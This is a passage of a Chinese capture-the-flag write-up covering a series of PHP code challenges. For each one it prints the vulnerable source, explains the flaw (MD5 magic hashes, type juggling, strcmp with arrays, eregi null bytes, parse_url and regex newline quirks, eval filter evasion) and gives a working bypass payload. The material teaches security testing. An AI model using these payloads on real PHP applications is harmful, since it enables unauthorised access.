3
4
5
6
7
8
9
10
11
12
13
14
 <?php

require('flag.php');
if (isset($_GET['src']))
highlight_file(__FILE__) and die();
if (isset($_GET['md5']))
{
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "Wonderbubulous! Flag is ".$flag;
else
echo "Nah... '",htmlspecialchars($md5),"' not the same as ",md5($md5);
}
?>

MD5弱类型比较
双MD5碰撞脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!python2
import hashlib
import re
def MD5(data):
return hashlib.md5(data).hexdigest()

def main():
a = 100000000
while True:
data = '0e' + str(a)
data_md5 = MD5(data)
a = a + 1
if(re.match('^0e[0-9]{30}',data_md5)):
print(data)
print(data_md5)
break
if(a % 1000000 == 0):
print(a)
if __name__ == '__main__':
main()

结果0e215962017

1589194023888

challenge23

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php    
highlight_file(__FILE__);
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
if(@file_get_contents($k1)==="Hello hacker!"){
echo 'welcome! Hacker!<br>';
if(md5($k2)>666666*666666)
{
include('flag.php');
@$k3=$_GET['key3'];
@$k4=$_GET['key4'];
if(intval($k3)<666)
{
if($k3==666)
{
echo 'Come on, flag is coming<br>';
if($k4>0)
{
if(intval($k3+$k4)<666)
echo $flag;
}
}
}else{
exit();
}
}else{
exit();
}
}else{
exit();
}
?>

首先使用file_get_contents获取到$k1的文本的内容要等于Hello hacker!,这个以前遇到了很多次,基本就是使用data://为协议来传参

?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==

1589200437110

$k2要求是key2的md5的值要大于666666*666666所以直接 找一个MD5全是数字的字符串即可,1518375满足条件。
1589204540462

字符串skwerl11也可以, 它的md5值是1e21ff98693770b768e4a1a4a704811b, 1e是科学计数法

key3需要key3的值转换成int之后小于666, 同时需要原始的值等于666, 可以使用精度绕过665.9999999999999999999,还可以使用十六进制绕过0x29a

最后一个是key4, 由于intval的表达范围是有限制的,取决于操作系统,所以用了溢出

payload:

?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==&key2=skwerl11&key3=0x29a&key4=999999999999999999999999999999999999999999999999999999

1589205337746

challenge24

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>

1.传入的foo,经过一次json_decode,然后转换成array。然后判断 $a["bar1"]是否满足 is_numeric,若满足则die掉。接下来又判断 $a["bar1"]是否大于 2016 。

利用php弱类型特性,可以设置

1
$a["bar1"] = 2017a

这样is_numeric时会判断其为字符串而不是数字,而在与2016的比较中,会直接转换成2017,满足大于2016。这样 v1 就被设置为 1 了

2.接下来,要求$a["bar2"]是个数组,其中元素的个数为5个(count($a["bar2"])!==5),同时要求$a["bar2"][0]是数组。所以我们设置:

1
$a["bar2"] = [[],2,3,4,5]

对于 $pos = array_search("nudt", $a["a2"]);,它搜索字符串“nudt”$a["a2"]中的位置。若没有找到,array_search返回false,会通过严格比较导致die掉。所以这里要设置:

1
$a["a2"] = “nudt”

注意这里因为用了$pos===false?的严格比较,所以0不===false

之后就能设置 v2 = 1

3.先会用strcmp进行比较,利用数组array和字符串进行strcmp比较会返回null,而且数组array也不会等于字符串,我们可以设置cat[1]为一个数组。

接下来用eregi对拼接后的字符串$d.$c[0]进行正则匹配,若匹配到则die掉。而下一步又要求拼接字符串$c[0].$d中要有字符串“htctf2016”。这里利用%00eregi的截断功能,则在正则匹配eregi时在开头时就匹配结束掉。

strpos(($c[0].$d), "htctf2016")中,还要求“htctf2016”不能出现在开头。

1
2
3
$d = %00 即 dog=%00

$c[0] = "ahtctf2016"

最终payload:

?foo={“bar1”:”2017e”,”bar2”:[[],2,3,4,5],”a2”:[“nudt”]}&cat[0]=ahtctf2016&cat[1][]=&dog=%00

1589264462522

challenge25

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
require __DIR__."/flag.php";

$url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY);

$params = explode("&", $url_query); #把字符串打散为数组
foreach($params as $param){

$idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
}

if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
}

if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
}

highlight_file(__FILE__);

这里有一个正则:

1
2
3
if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}

但是题目却要求我们使用do_you_want_flag=yes来获取flag显然相互矛盾,我们寻找漏洞点,发现url的解析工作有由parse_url()操作此时相当parse_url一个解析漏洞,详情参考这篇文章:

http://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/

4.所以我最后的bypass payload为:

1
///?do_you_want_flag=yes

1589265667662

challenge26

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
require __DIR__.'/flag.php';

$value = $_GET['value'];

$username = $_GET['username'];
$password = $_GET['password'];

for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username);
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);

if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}

highlight_file(__FILE__);

这里要求不能输入username,并且输入的vaule不在ascii码可见范围内但是最后又要求value经过chr后拼接的username为15th_HackingCamp,这里可以利用强转和弱比较
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$i=0;
while ($i <= 100) {
$test = $i."e1";
if ($test > 32 && $test < 127)
{
}
else
{
if ((ord(chr($test))>32)&&(ord(chr($test))<127))
{
echo "test:".$test." chr:".chr($test)."\n";
}
}
$i = $i+0.1;
}

1589268617202

之后拼接成我们想要的字符串就可以了

payload:

1
2
?value[]=56.100000000001e1&value[]=82.1e1&value[]=88.499999999999e1&value[]=87.299999999999e1&value[]=86.399999999999e1&value[]=84.099999999999e1&value[]=60.900000000001e1&value[]=61.100000000001e1&value[]=61.900000000001e1&value[]=61.700000000001e1&value[]=62.200000000001e1&value[]=61.500000000001e1&value[]=57.900000000001e1&value[]=60.900000000001e1&value[]=62.100000000001e1&value[]=62.400000000001e1&password=simple_passw0rd

1589269001817

challenge27

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
session_start();

if(isset($_GET['username'], $_GET['password'])){

if(isset($_SESSION['hard_login_check'])){
echo 'Already logged in..';

}else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
echo 'Wrong username..';

}else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
echo 'Wrong password..';

}else{
$_SESSION['hard_login_check'] = true;
echo 'Login success!';
header('Location: ./');
}

echo '<hr>';
}

highlight_file(__FILE__);

这里发现代码里面没有输出flag的地方,无论怎样都会发生跳转,于是使用抓包抓取index.php
1589245105639

challenge28

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
require __DIR__.'/flag.php';

if(isset($_GET['say']) && strlen($_GET['say']) < 20){

$say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);

if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
}

echo '<hr>';
}

highlight_file(__FILE__);

审计代码发现正则写法为:

1
/^(.*)flag(.*)$/

4.而这个写法是存在缺陷的:.用于任意字符匹配并不包括换行符,而且^ $界定了必须在同一行,否则匹配不到,也就是说,换行的话,即可破解所以payload为:

1
?say=%0agive_me_the_flag

1589208538876

challenge29

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
require __DIR__.'/flag.php';

$exam = 'return\''.sha1(time()).'\';';

if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo 'Not allowed length';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo 'Not allowed keyword';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo 'What\'s going on?';
}

echo '<hr>';

highlight_file(__FILE__);

这里过滤了很多关键字

最后发现可以用以下方式绕过,直接输出比如

1
<?=$flag='123';?>

可以直接得到结果:123那么我们在这题中,只要构造出<?=$flag?>即可立刻输出我们要的flag,而不需要再去管sha1的相等问题那么如何构造$flag呢?可以用拼接的方式:

1
$a='alag';$a{0}='f';

于是最后的payload:

1
?flag=$a='alag';$a{0}='f';1111111111111111;?><?=${$a}?>

1589208146743

challenge30

源码:

1
2
3
4
5
6
7
8
9
<?php 
require __DIR__.'/flag.php';
$IsMatch= preg_match("/hongya.*ho.*ngya.{4}hongya{3}:\/.\/(.*hongya)/i", trim($_POST["id"]), $match);
if( $IsMatch ){
die('Flag: '.$flag);
}

highlight_file(__FILE__);
?>

这一题主要就是匹配hongya.*ho.*ngya.{4}hongya{3}:\/.\/(.*hongya)这个正则表达式。

尝试构造payload:

1
hongya..ho..ngya....hongyaaa:/./..hongya

1589205670232

文章作者:CyzCc
最后更新:2020年05月12日 16:05:22
原始链接:https://cyzcc.vip/2020/05/12/PHP_Code_Challenge/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------